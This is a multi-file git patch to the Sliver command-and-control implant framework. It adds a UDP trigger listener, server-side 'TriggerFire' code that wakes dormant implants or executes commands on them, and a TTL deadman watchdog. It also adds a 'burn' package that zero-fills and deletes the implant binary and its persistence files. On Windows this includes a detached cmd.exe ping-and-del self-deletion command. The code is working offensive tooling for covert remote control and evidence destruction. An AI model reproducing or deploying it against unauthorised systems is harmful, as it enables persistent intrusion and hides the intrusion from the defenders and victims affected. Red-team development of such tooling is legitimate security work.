time.Now() + return Session(). + Model(&models.TriggerActivity{}). + Where("implant_config_id = ?", configID). + Updates(map[string]interface{}{ + "ttl_reaper_fired_at": &now, + "updated_at": now, + }).Error +} diff --git a/server/rpc/rpc-generate.go b/server/rpc/rpc-generate.go index 8a53fc17b3..ca45cc88b9 100644 --- a/server/rpc/rpc-generate.go +++ b/server/rpc/rpc-generate.go @@ -91,6 +91,20 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl config.IncludeTCP = config.IncludeTCP || models.IsC2Enabled([]string{"tcppivot"}, config.C2) } + // TTL deadman switch: compute the absolute expiration time from the + // operator-supplied duration at build time. Recomputed on every Generate + // call (including profile-based regens) so the deadline is always + // "now + TTLMinutes" rather than "whatever was burned in last time". + // Without this, the implant template's {{.Config.TTLExpiresAtUnix}} + // renders as 0 and burn fires immediately on startup. + if config.TTLEnabled && config.TTLMinutes > 0 { + config.TTLExpiresAtUnix = time.Now().Add(time.Duration(config.TTLMinutes) * time.Minute).Unix() + } else { + // Defensive: clear stale fields so the template gate sees a clean off-state. + config.TTLEnabled = false + config.TTLExpiresAtUnix = 0 + } + if len(config.Exports) == 0 { config.Exports = []string{"StartW"} } diff --git a/server/rpc/rpc-trigger.go b/server/rpc/rpc-trigger.go new file mode 100644 index 0000000000..2411845208 --- /dev/null +++ b/server/rpc/rpc-trigger.go @@ -0,0 +1,189 @@ +package rpc + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "errors" + + "github.com/bishopfox/sliver/client/constants" + "github.com/bishopfox/sliver/protobuf/clientpb" + "github.com/bishopfox/sliver/protobuf/commonpb" + "github.com/bishopfox/sliver/server/c2" + "github.com/bishopfox/sliver/server/db" + "github.com/bishopfox/sliver/server/log" +) + +var triggerRPCLog = log.NamedLogger("rpc", "trigger") + +// StartTriggerListener starts an authenticated UDP trigger listener +// as a Sliver job. Follows the same pattern as StartMTLSListener: +// validate, PortInUse precheck, call factory, persist the listener +// config via db.SaveC2Listener so it survives restart, return a +// minimal ListenerJob with the new JobID. +func (rpc *Server) StartTriggerListener(ctx context.Context, req *clientpb.TriggerListenerReq) (*clientpb.ListenerJob, error) { + if req == nil { + return nil, rpcError(errors.New("nil request")) + } + if req.Port == 0 { + return nil, rpcError(errors.New("port must be set")) + } + if 65535 < req.Port { + return nil, ErrInvalidPort + } + if err := PortInUse(req.Port); err != nil { + return nil, rpcError(err) + } + + job, err := c2.StartTriggerListenerJob(req) + if err != nil { + return nil, rpcError(err) + } + + listenerJob := &clientpb.ListenerJob{ + JobID: uint32(job.ID), + Type: constants.TriggerStr, + TriggerConf: req, + } + if err := db.SaveC2Listener(listenerJob); err != nil { + return nil, rpcError(err) + } + + return &clientpb.ListenerJob{JobID: uint32(job.ID)}, nil +} + +// TriggerDispatchTask fires a named task handler on a running trigger +// listener, bypassing the UDP wire protocol entirely. This is the +// server-side implementation of "trigger send ", +// allowing operators to dispatch tasks interactively from the sliver +// console. +func (rpc *Server) TriggerDispatchTask(ctx context.Context, req *clientpb.TriggerDispatchTaskReq) (*commonpb.Empty, error) { + if req == nil { + return nil, rpcError(errors.New("nil request")) + } + if req.TaskName == "" { + return nil, rpcError(errors.New("task name must be set")) + } + if err := c2.DispatchTaskForJob(int(req.JobID), req.TaskName); err != nil { + return nil, rpcError(err) + } + return &commonpb.Empty{}, nil +} + +// TriggerFire constructs a signed trigger packet and sends it as a +// single UDP datagram to the specified target, enabling operators to +// wake dormant implants, fire implant-side self-destruct, or execute +// commands on dormant implants entirely from the sliver console. +// +// For bidirectional intents (exec), the server waits for a response +// from the implant and returns the output in TriggerFireResp. +func (rpc *Server) TriggerFire(ctx context.Context, req *clientpb.TriggerFireReq) (*clientpb.TriggerFireResp, error) { + if req == nil { + return nil, rpcError(errors.New("nil request")) + } + if req.TargetHost == "" { + return nil, rpcError(errors.New("target host must be set")) + } + if req.TargetPort == 0 || req.TargetPort > 65535 { + return nil, rpcError(errors.New("target port must be 1-65535")) + } + if req.Intent == "" { + return nil, rpcError(errors.New("intent must be set")) + } + if len(req.SharedSecret) == 0 { + return nil, rpcError(errors.New("shared secret must be set")) + } + clientID := req.ClientID + if clientID == "" { + clientID = "sliver-operator" + } + result, err := c2.FireTriggerPacket( + req.TargetHost, + int(req.TargetPort), + req.Intent, + string(req.SharedSecret), + clientID, + req.Payload, + ) + if err != nil { + return nil, rpcError(err) + } + + // Record activity for the TTL reaper. Best-effort: a DB error here + // must not block the operator's fire command. + go recordTriggerActivity(req.SharedSecret, req.TargetHost, req.TargetPort) + + return &clientpb.TriggerFireResp{ + Sent: result.Sent, + Output: result.Output, + ExitCode: int32(result.ExitCode), + Error: result.Error, + }, nil +} + +// TriggerIntents returns the task bindings registered against a +// running trigger listener job. Operators use this to verify what a +// listener will accept and dispatch. +func (rpc *Server) TriggerIntents(ctx context.Context, req *clientpb.TriggerIntentsReq) (*clientpb.TriggerIntents, error) { + if req == nil { + return nil, rpcError(errors.New("nil request")) + } + bindings, ok := c2.BindingsForJob(int(req.JobID)) + if !ok { + return nil, rpcError(errors.New("no trigger listener with that job ID")) + } + return &clientpb.TriggerIntents{ + JobID: req.JobID, + Bindings: bindings, + }, nil +} + +// recordTriggerActivity looks up the ImplantConfig(s) matching the +// shared secret used in a TriggerFire call and upserts a +// TriggerActivity record for each. This feeds the server-side TTL +// reaper with last-known target locations. +// +// Runs in a goroutine so DB latency never blocks the operator. +func recordTriggerActivity(secret []byte, targetHost string, targetPort uint32) { + configs, err := db.ImplantConfigsByTriggerSecret(secret) + if err != nil { + triggerRPCLog.Warnf("trigger activity: failed to look up configs by secret: %v", err) + return + } + if len(configs) == 0 { + // No matching config -- could be a standalone trigger fire with + // a secret not baked into any implant. Not an error. + return + } + for _, cfg := range configs { + configID := cfg.ID.String() + // Try to find a friendly build name. + buildName := configID + build, err := db.ImplantBuildByConfigID(configID) + if err == nil && build != nil { + buildName = build.Name + } + if err := db.UpsertTriggerActivity(configID, buildName, targetHost, targetPort); err != nil { + triggerRPCLog.Warnf("trigger activity: upsert failed for config %s: %v", configID, err) + } else { + triggerRPCLog.Debugf("trigger activity: recorded %s:%d for config %s (%s)", + targetHost, targetPort, configID, buildName) + } + } +} From d00954acf8412adb1a3714197407a078e4c00dfd Mon Sep 17 00:00:00 2001 From: 0x90pkt <91637660+0x90pkt@users.noreply.github.com> Date: Mon, 1 Jun 2026 23:53:12 -0400 Subject: [PATCH 4/7] feat(implant): trigger-wake transport, dormant wake loop, TTL watchdog Implant-side trigger-wake implementation: - triggerwake: passive UDP listener with HMAC validation, replay cache, client allowlist. Three fixed intents: wake (session callback with transport selection), exec (bidirectional command execution, concurrency cap=3), self-destruct - Wake loop: trigger implants block on WakeChannel, establish session, return to dormant on session kill. Re-wakeable indefinitely without process restart. - Transport selection: wake packet carries preferred transport hint (mtls/wg); C2Generator reorders URI list to prioritize it - TTL watchdog: runtime countdown (not build-time), resets on every authenticated trigger packet via burn.ResetTTL() - Kill handler: template-gated os.Exit for trigger implants -- gracefully closes session instead of terminating process - Response source address validation in FireTriggerPacket --- implant/sliver/burn/burn.go | 220 ++++++++ implant/sliver/burn/burn_test.go | 151 ++++++ implant/sliver/burn/burn_unix.go | 87 +++ implant/sliver/burn/burn_windows.go | 101 ++++ implant/sliver/handlers/kill-handlers.go | 14 + .../sliver/handlers/kill-handlers_windows.go | 15 +- implant/sliver/runner/lifecycle.go | 140 +++++ implant/sliver/runner/runner.go | 55 ++ implant/sliver/transports/transports.go | 57 +- .../transports/triggerwake/triggerwake.go | 508 ++++++++++++++++++ .../triggerwake/triggerwake_test.go | 254 +++++++++ implant/sliver/transports/wakehook.go | 78 +++ 12 files changed, 1677 insertions(+), 3 deletions(-) create mode 100644 implant/sliver/burn/burn.go create mode 100644 implant/sliver/burn/burn_test.go create mode 100644 implant/sliver/burn/burn_unix.go create mode 100644 implant/sliver/burn/burn_windows.go create mode 100644 implant/sliver/runner/lifecycle.go create mode 100644 implant/sliver/transports/triggerwake/triggerwake.go create mode 100644 implant/sliver/transports/triggerwake/triggerwake_test.go create mode 100644 implant/sliver/transports/wakehook.go diff --git a/implant/sliver/burn/burn.go b/implant/sliver/burn/burn.go new file mode 100644 index 0000000000..01679ec738 --- /dev/null +++ b/implant/sliver/burn/burn.go @@ -0,0 +1,220 @@ +package burn + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + ------------------------------------------------------------------------ + + Package burn implements the implant's "burn after reading" path: + cross-platform self-deletion of the running binary plus best- + effort scrub of configured extra paths and persistence artifacts. + + Used by: + - TTL ticker (built-in expiry timer; the implant's deadman switch) + - Operator-fired self-destruct task over the trigger transport + - Future: c2-unreachable threshold, anti-forensic triggers + + Design choices: + + Best-effort, never abort. If wiping path A fails, log it (when + debug is on) and continue to B. Half-burned is still better + than not-burned. + + No external dependencies. burn must work even when the rest of + the implant's transport machinery has been torn down. Stdlib + os/exec and platform-specific calls only. + + Process exits at the END, not before. We're racing the OS — the + destructive steps happen first, then os.Exit(0). On POSIX this + is straightforward (running binaries are unlinkable). On Windows + we delegate the final binary delete to a detached cmd.exe child + via platform-specific code. + + Final audit emit. If a sink is configured (via SetAuditEmitter), + emit a single "burn-initiated" line BEFORE wiping anything. The + implant can't talk back after it's burned itself. +*/ + +import ( + "io" + "os" + "sync" + "time" +) + +// Reason categorizes why a burn was initiated. Carried in the final +// audit event so operators can correlate post-burn. +type Reason string + +const ( + ReasonTTLExpired Reason = "ttl-expired" + ReasonOperatorTriggered Reason = "operator-triggered" + ReasonUnreachable Reason = "c2-unreachable" + ReasonManual Reason = "manual" +) + +// Options tunes the scope of a burn. +type Options struct { + // Reason is included in the final audit emit. Free-form string; + // the typed Reason constants above are the common cases. + Reason Reason + + // ExtraPaths is a list of additional files/directories to remove. + // Walked in declaration order; each failure logged and skipped. + ExtraPaths []string + + // Persistence is a list of platform-specific persistence + // artifacts to wipe. Format varies by platform (systemd unit + // paths on Linux, plist paths on Darwin, registry keys on + // Windows). Caller-supplied; burn doesn't enumerate persistence + // automatically because that surface is implant-config dependent. + Persistence []string + + // SkipSelf, if true, skips deletion of the running binary itself. + // Used by tests; production should always leave this false. + SkipSelf bool + + // NoExit, if true, returns instead of os.Exit at the end. Tests + // only. + NoExit bool +} + +// AuditEmitter sinks one final structured line describing the burn. +// The implant's main transport sets this via SetAuditEmitter at +// startup (e.g., wired into the same audit channel the rest of the +// trigger system uses) so the server-side trigger audit log records +// the implant's last word. +type AuditEmitter interface { + EmitBurn(reason Reason, when time.Time, opts Options) +} + +var ( + emitterMu sync.RWMutex + emitter AuditEmitter +) + +// TTLResetChan is read by the TTL watchdog in runner/lifecycle.go. +// When a value is received, the watchdog extends the TTL deadline by +// the original duration from now. Buffered(1) so senders never block. +var TTLResetChan = make(chan struct{}, 1) + +// ResetTTL signals the TTL watchdog to extend the deadline. Call this +// whenever an authenticated operator signal is received (any trigger +// intent: wake, exec, self-destruct). Non-blocking: if a reset is +// already pending, this coalesces. +// +// Safe to call even when TTL is disabled — the channel exists but +// nobody reads from it, so the send hits the default case and is +// silently dropped. +func ResetTTL() { + select { + case TTLResetChan <- struct{}{}: + default: + } +} + +// SetAuditEmitter installs a non-nil emitter that Now() will call +// once at the start of the burn. Passing nil clears it. +func SetAuditEmitter(e AuditEmitter) { + emitterMu.Lock() + defer emitterMu.Unlock() + emitter = e +} + +// Now performs a burn with the given options and exits the process. +// Does NOT return under normal conditions; tests use opts.NoExit to +// override. +// +// Order: +// 1. Emit final audit line (if emitter configured). +// 2. Walk ExtraPaths, removing each (best-effort). +// 3. Walk Persistence via the platform-specific wipePersistence, +// which knows how to handle systemd / launchd / registry / etc. +// 4. Wipe self binary (platform-specific; POSIX vs Windows differ). +// 5. os.Exit(0) — or return if NoExit. +func Now(opts Options) { + if opts.Reason == "" { + opts.Reason = ReasonManual + } + now := time.Now().UTC() + + emitterMu.RLock() + em := emitter + emitterMu.RUnlock() + if em != nil { + // Best effort: don't let an emitter panic block the burn. + func() { + defer func() { _ = recover() }() + em.EmitBurn(opts.Reason, now, opts) + }() + } + + for _, path := range opts.ExtraPaths { + wipePath(path) + } + wipePersistence(opts.Persistence) + + if !opts.SkipSelf { + exe, err := os.Executable() + if err == nil && exe != "" { + wipeSelf(exe) + } + } + + if opts.NoExit { + return + } + os.Exit(0) +} + +// wipePath best-effort removes a single path. If it's a directory, +// recursively removes. If overwrite-then-unlink is requested by the +// caller via a future flag we'd extend here; for MVP, plain unlink. +func wipePath(path string) { + if path == "" { + return + } + info, err := os.Lstat(path) + if err != nil { + return + } + if info.Mode().IsRegular() { + // Best-effort zero-fill before unlink so on-disk recovery is + // at least mildly harder. Failures fall through to plain remove. + if f, err := os.OpenFile(path, os.O_WRONLY, 0); err == nil { + zero := make([]byte, 4096) + size := info.Size() + for off := int64(0); off < size; off += int64(len(zero)) { + n := int64(len(zero)) + if size-off < n { + n = size - off + } + _, _ = f.Write(zero[:n]) + } + _ = f.Sync() + _ = f.Close() + } + } + _ = os.RemoveAll(path) +} + +// drainAndClose discards then closes an io.ReadCloser. Defensive +// against transport leaks during burn. +func drainAndClose(r io.ReadCloser) { + if r == nil { + return + } + _, _ = io.Copy(io.Discard, r) + _ = r.Close() +} diff --git a/implant/sliver/burn/burn_test.go b/implant/sliver/burn/burn_test.go new file mode 100644 index 0000000000..0030819578 --- /dev/null +++ b/implant/sliver/burn/burn_test.go @@ -0,0 +1,151 @@ +package burn + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os" + "path/filepath" + "testing" + "time" +) + +// All tests use SkipSelf + NoExit so the test binary stays alive. + +func TestNowWipesExtraPaths(t *testing.T) { + dir := t.TempDir() + files := []string{ + filepath.Join(dir, "a.log"), + filepath.Join(dir, "b.cache"), + filepath.Join(dir, "nested", "c.tmp"), + } + _ = os.MkdirAll(filepath.Join(dir, "nested"), 0o755) + for _, f := range files { + if err := os.WriteFile(f, []byte("forensic-trace"), 0o644); err != nil { + t.Fatalf("WriteFile: %v", err) + } + } + + Now(Options{ + Reason: ReasonManual, + ExtraPaths: files, + SkipSelf: true, + NoExit: true, + }) + + for _, f := range files { + if _, err := os.Stat(f); !os.IsNotExist(err) { + t.Fatalf("path %q still exists after burn: %v", f, err) + } + } +} + +func TestNowWipesPersistencePaths(t *testing.T) { + dir := t.TempDir() + unit := filepath.Join(dir, "fake.service") + if err := os.WriteFile(unit, []byte("[Unit]\nDescription=fake\n"), 0o644); err != nil { + t.Fatalf("WriteFile: %v", err) + } + + Now(Options{ + Persistence: []string{unit}, + SkipSelf: true, + NoExit: true, + }) + + if _, err := os.Stat(unit); !os.IsNotExist(err) { + t.Fatalf("persistence file still exists after burn") + } +} + +func TestNowEmitsAuditFirst(t *testing.T) { + got := struct { + called bool + reason Reason + when time.Time + }{} + SetAuditEmitter(&fakeEmitter{ + onEmit: func(r Reason, w time.Time, _ Options) { + got.called = true + got.reason = r + got.when = w + }, + }) + t.Cleanup(func() { SetAuditEmitter(nil) }) + + Now(Options{ + Reason: ReasonTTLExpired, + SkipSelf: true, + NoExit: true, + }) + + if !got.called { + t.Fatalf("emitter was not called") + } + if got.reason != ReasonTTLExpired { + t.Fatalf("reason: got %q want %q", got.reason, ReasonTTLExpired) + } +} + +func TestNowSurvivesPanickingEmitter(t *testing.T) { + SetAuditEmitter(&fakeEmitter{ + onEmit: func(Reason, time.Time, Options) { + panic("emitter blew up") + }, + }) + t.Cleanup(func() { SetAuditEmitter(nil) }) + + // Should NOT propagate the panic — burn must always run. + dir := t.TempDir() + f := filepath.Join(dir, "must-be-wiped") + _ = os.WriteFile(f, []byte("x"), 0o644) + + Now(Options{ + ExtraPaths: []string{f}, + SkipSelf: true, + NoExit: true, + }) + + if _, err := os.Stat(f); !os.IsNotExist(err) { + t.Fatalf("burn aborted on emitter panic — wipe never happened") + } +} + +func TestNowDefaultReasonIsManual(t *testing.T) { + captured := struct{ reason Reason }{} + SetAuditEmitter(&fakeEmitter{ + onEmit: func(r Reason, _ time.Time, _ Options) { captured.reason = r }, + }) + t.Cleanup(func() { SetAuditEmitter(nil) }) + + Now(Options{SkipSelf: true, NoExit: true}) + + if captured.reason != ReasonManual { + t.Fatalf("default reason: got %q want %q", captured.reason, ReasonManual) + } +} + +type fakeEmitter struct { + onEmit func(Reason, time.Time, Options) +} + +func (e *fakeEmitter) EmitBurn(reason Reason, when time.Time, opts Options) { + if e.onEmit != nil { + e.onEmit(reason, when, opts) + } +} diff --git a/implant/sliver/burn/burn_unix.go b/implant/sliver/burn/burn_unix.go new file mode 100644 index 0000000000..fd4869e64e --- /dev/null +++ b/implant/sliver/burn/burn_unix.go @@ -0,0 +1,87 @@ +//go:build linux || darwin + +package burn + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "os" + "os/exec" +) + +// wipeSelf removes the running binary at exe. On POSIX this is +// straightforward: the kernel keeps the file's pages alive until the +// process exits, so unlinking now is safe — the file content +// disappears from disk while the process keeps running off its +// in-memory copy. +// +// We try to zero-fill the on-disk image before unlinking on the +// chance that file recovery tools (e.g., a defender mounting the +// disk read-only post-incident) find unlinked-but-not-overwritten +// inodes. Best-effort — failure falls through to plain remove. +func wipeSelf(exe string) { + if info, err := os.Stat(exe); err == nil && info.Mode().IsRegular() { + if f, err := os.OpenFile(exe, os.O_WRONLY, 0); err == nil { + zero := make([]byte, 4096) + size := info.Size() + for off := int64(0); off < size; off += int64(len(zero)) { + n := int64(len(zero)) + if size-off < n { + n = size - off + } + _, _ = f.Write(zero[:n]) + } + _ = f.Sync() + _ = f.Close() + } + } + _ = os.Remove(exe) +} + +// wipePersistence walks each path. For Linux/Darwin, persistence +// usually means: systemd unit files, launchd plists, cron entries, +// rc.local, autostart .desktop files. The caller passes absolute +// paths; we remove them. systemctl/launchctl disable steps are NOT +// run here because: +// +// (a) they require running the systemctl binary, which may not be +// on PATH or may require privileges we don't have, +// (b) unit-file removal causes systemctl daemon-reload to drop the +// definition on its next refresh, +// (c) the implant might be in a position where it CAN unlink the +// file but can't shell out (sandboxed). +// +// Operators who want clean systemctl unregistration should add an +// ExecPostStop step to the unit itself before installation, or +// pair self-destruct with a cron @reboot stub that does `systemctl +// daemon-reload`. +func wipePersistence(paths []string) { + for _, p := range paths { + if p == "" { + continue + } + wipePath(p) + } +} + +// Linker reference: keep exec imported even when persistence paths +// list is empty — future versions may want to invoke systemctl / +// launchctl for proper unregistration on platforms where the implant +// has the privileges. +var _ = exec.Command diff --git a/implant/sliver/burn/burn_windows.go b/implant/sliver/burn/burn_windows.go new file mode 100644 index 0000000000..5c3d44a444 --- /dev/null +++ b/implant/sliver/burn/burn_windows.go @@ -0,0 +1,101 @@ +//go:build windows + +package burn + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "fmt" + "os" + "os/exec" + "syscall" + "unsafe" +) + +// wipeSelf cannot directly delete the running binary on Windows +// (the OS holds an open handle to the executable file). Two patterns +// are common; we use the cmd.exe-poll-and-delete trick: +// +// 1. Spawn a detached cmd.exe that loops a short delay, then +// deletes the binary, then deletes itself (a self-erasing +// one-liner). Detach so it survives our os.Exit. +// 2. Fall back to MoveFileEx with MOVEFILE_DELAY_UNTIL_REBOOT if +// the cmd.exe approach fails. +// +// Best-effort either way. A determined defender can image the disk +// before reboot; the implant's job is to minimize forensic exposure, +// not to be unrecoverable. +func wipeSelf(exe string) { + // Approach 1: detached cmd.exe that waits, then nukes the binary + // and itself. + // - ping 127.0.0.1 -n 3 > NUL (waits ~2 seconds) + // - del /F /Q "" (deletes the implant) + // - (cmd.exe naturally exits at end of /c batch) + cmdline := fmt.Sprintf(`/c ping 127.0.0.1 -n 3 > NUL && del /F /Q "%s"`, exe) + cmd := exec.Command("cmd.exe", cmdline) + cmd.SysProcAttr = &syscall.SysProcAttr{ + CreationFlags: 0x00000008 | // DETACHED_PROCESS + 0x00000200, // CREATE_NEW_PROCESS_GROUP + HideWindow: true, + } + if err := cmd.Start(); err != nil { + // Approach 2: MoveFileEx with MOVEFILE_DELAY_UNTIL_REBOOT. + // Kernel32!MoveFileExW with second arg NULL + flag 0x4 marks + // the file for deletion at next reboot. + _ = moveFileExDelayUntilReboot(exe) + return + } + // Detach the child fully so our os.Exit doesn't take it down. + _ = cmd.Process.Release() +} + +func wipePersistence(paths []string) { + for _, p := range paths { + if p == "" { + continue + } + // Registry-key persistence paths are conventionally prefixed + // "HKEY_..." or "HKLM\..."; everything else is a filesystem + // path. Caller is responsible for marking which is which. + // For MVP we treat them all as filesystem paths. + wipePath(p) + } +} + +// moveFileExDelayUntilReboot calls Win32 MoveFileExW(src, NULL, +// MOVEFILE_DELAY_UNTIL_REBOOT). Schedules the file for deletion at +// next system reboot. +func moveFileExDelayUntilReboot(src string) error { + kernel32 := syscall.NewLazyDLL("kernel32.dll") + proc := kernel32.NewProc("MoveFileExW") + srcPtr, err := syscall.UTF16PtrFromString(src) + if err != nil { + return err + } + const MOVEFILE_DELAY_UNTIL_REBOOT = 0x4 + r1, _, callErr := proc.Call(uintptr(unsafe.Pointer(srcPtr)), 0, MOVEFILE_DELAY_UNTIL_REBOOT) + if r1 == 0 { + return callErr + } + return nil +} + +// unsafe is only used inside MoveFileExW invocation above. Keep the +// import noted so build tooling doesn't strip it. +var _ = os.Remove diff --git a/implant/sliver/handlers/kill-handlers.go b/implant/sliver/handlers/kill-handlers.go index 9589bf6ef3..af4310d8d0 100644 --- a/implant/sliver/handlers/kill-handlers.go +++ b/implant/sliver/handlers/kill-handlers.go @@ -21,8 +21,10 @@ package handlers */ import ( + // {{if not .Config.IncludeTriggerWake}} "os" "time" + // {{end}} "github.com/bishopfox/sliver/implant/sliver/transports" "github.com/bishopfox/sliver/protobuf/sliverpb" @@ -52,6 +54,17 @@ func killHandler(data []byte, _ *transports.Connection) error { if err != nil { return err } + // {{if .Config.IncludeTriggerWake}} + // Trigger implants: do NOT os.Exit. The kill handler's presence in + // specialHandlers causes sessionMainLoop to return ErrTerminate, + // which makes sessionStartup return cleanly. The trigger loop in + // runner.Main then goes back to the dormant wake-wait state, ready + // to be woken again. Calling os.Exit would kill the entire process + // and defeat the purpose of a persistent trigger implant. + // {{if .Config.Debug}} + log.Println("[triggerwake] session kill -- returning to dormant state (no os.Exit)") + // {{end}} + // {{else}} // {{if .Config.Debug}} log.Println("Let's exit!") // {{end}} @@ -59,5 +72,6 @@ func killHandler(data []byte, _ *transports.Connection) error { time.Sleep(time.Second) os.Exit(0) }() + // {{end}} return nil } diff --git a/implant/sliver/handlers/kill-handlers_windows.go b/implant/sliver/handlers/kill-handlers_windows.go index 14a5d21a16..9d95ad3c04 100644 --- a/implant/sliver/handlers/kill-handlers_windows.go +++ b/implant/sliver/handlers/kill-handlers_windows.go @@ -21,12 +21,14 @@ package handlers */ import ( + // {{if not .Config.IncludeTriggerWake}} "os" + // {{end}} "github.com/bishopfox/sliver/implant/sliver/transports" "github.com/bishopfox/sliver/protobuf/sliverpb" - // {{if or .Config.IsSharedLib .Config.IsShellcode}} + // {{if and (not .Config.IncludeTriggerWake) (or .Config.IsSharedLib .Config.IsShellcode)}} "syscall" @@ -56,6 +58,16 @@ func killHandler(data []byte, _ *transports.Connection) error { if err != nil { return err } + // {{if .Config.IncludeTriggerWake}} + // Trigger implants: do NOT terminate the process. The kill handler's + // presence in specialHandlers causes sessionMainLoop to return + // ErrTerminate, which makes sessionStartup return cleanly. The + // trigger loop in runner.Main then goes back to the dormant + // wake-wait state, ready to be woken again. + // {{if .Config.Debug}} + log.Println("[triggerwake] session kill -- returning to dormant state (no process exit)") + // {{end}} + // {{else}} // {{if or .Config.IsSharedLib .Config.IsShellcode}} // Windows only: ExitThread() instead of os.Exit() for DLL/shellcode slivers // so that the parent process is not killed @@ -71,5 +83,6 @@ func killHandler(data []byte, _ *transports.Connection) error { log.Println("Let's exit!") // {{end}} os.Exit(0) + // {{end}} return nil } diff --git a/implant/sliver/runner/lifecycle.go b/implant/sliver/runner/lifecycle.go new file mode 100644 index 0000000000..4b14b5a102 --- /dev/null +++ b/implant/sliver/runner/lifecycle.go @@ -0,0 +1,140 @@ +package runner + +/* + Sliver Implant Framework + Copyright (C) 2026 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + ------------------------------------------------------------------------ + + Implant lifecycle helpers for the trigger-via-standalone Phase 2 + integration. Template-gated startup of: + - TTL watchdog (built-in self-destruct deadline) + - triggerwake transport (passive UDP listener for operator-fired + wake / self-destruct tasks) + + Each helper is template-gated by the corresponding ImplantConfig + field; the wrapper functions exist unconditionally so runner.Main's + calls compile in raw form, but the actual goroutine body is gated + too so it's a no-op (and the bodies aren't even rendered into the + implant binary) when the feature is off. +*/ + +import ( + // {{if .Config.TTLEnabled}} + "time" + // {{end}} + + // {{if .Config.IncludeTriggerWake}} + "context" + "github.com/bishopfox/sliver/implant/sliver/transports/triggerwake" + // {{end}} + + // {{if .Config.Debug}} + "log" + // {{end}} + + "github.com/bishopfox/sliver/implant/sliver/burn" +) + +// startTTLWatchdog spawns a goroutine that fires burn.Now() when the +// TTL duration elapses from process start. The countdown resets every +// time burn.ResetTTL() is called (i.e., on every authenticated trigger +// packet), ensuring an actively-used implant never self-destructs. +// +// The TTL duration is baked into the binary as TTLMinutes (not as an +// absolute timestamp), so the countdown always starts fresh at runtime +// regardless of when the binary was built. This allows implant configs +// to be reused across deployments. +// +// Check cadence: every minute. The operator-config layer enforces a +// minimum TTL of 1 minute. +func startTTLWatchdog() { + // {{if .Config.TTLEnabled}} + go func() { + ttlDuration := time.Duration({{.Config.TTLMinutes}}) * time.Minute + deadline := time.Now().Add(ttlDuration) + // {{if .Config.Debug}} + log.Printf("[ttl] watchdog armed; duration=%v, initial deadline=%v", ttlDuration, deadline) + // {{end}} + ticker := time.NewTicker(time.Minute) + defer ticker.Stop() + for { + select { + case <-ticker.C: + if time.Now().After(deadline) { + // {{if .Config.Debug}} + log.Printf("[ttl] expired — triggering burn") + // {{end}} + triggerBurn(burn.ReasonTTLExpired) + return + } + case <-burn.TTLResetChan: + deadline = time.Now().Add(ttlDuration) + // {{if .Config.Debug}} + log.Printf("[ttl] reset — new deadline=%v", deadline) + // {{end}} + } + } + }() + // {{end}} +} + +// startTriggerWake starts the passive UDP wake/self-destruct listener. +// Called from runner.Main when {{.Config.IncludeTriggerWake}} is true. +func startTriggerWake() { + // {{if .Config.IncludeTriggerWake}} + cfg := triggerwake.Config{ + BindAddr: "{{.Config.TriggerWakeBindAddr}}", + Secret: []byte(`{{.Config.TriggerWakeSecret | printf "%s"}}`), + AllowedClientIDs: []string{ + // {{range .Config.TriggerWakeAllowedClientIDs}} + "{{.}}", + // {{end}} + }, + BurnExtraPaths: []string{ + // {{range .Config.TTLBurnExtraPaths}} + "{{.}}", + // {{end}} + }, + BurnPersistence: []string{ + // {{range .Config.TTLBurnPersistence}} + "{{.}}", + // {{end}} + }, + } + if _, err := triggerwake.Start(context.Background(), cfg); err != nil { + // {{if .Config.Debug}} + log.Printf("[triggerwake] failed to start: %v", err) + // {{end}} + } + // {{end}} +} + +// triggerBurn is a thin wrapper so both the TTL watchdog AND any +// future caller (e.g., c2-unreachable threshold) emit a consistent +// burn.Options with the configured extra paths and persistence. +func triggerBurn(reason burn.Reason) { + burn.Now(burn.Options{ + Reason: reason, + ExtraPaths: []string{ + // {{range .Config.TTLBurnExtraPaths}} + "{{.}}", + // {{end}} + }, + Persistence: []string{ + // {{range .Config.TTLBurnPersistence}} + "{{.}}", + // {{end}} + }, + }) 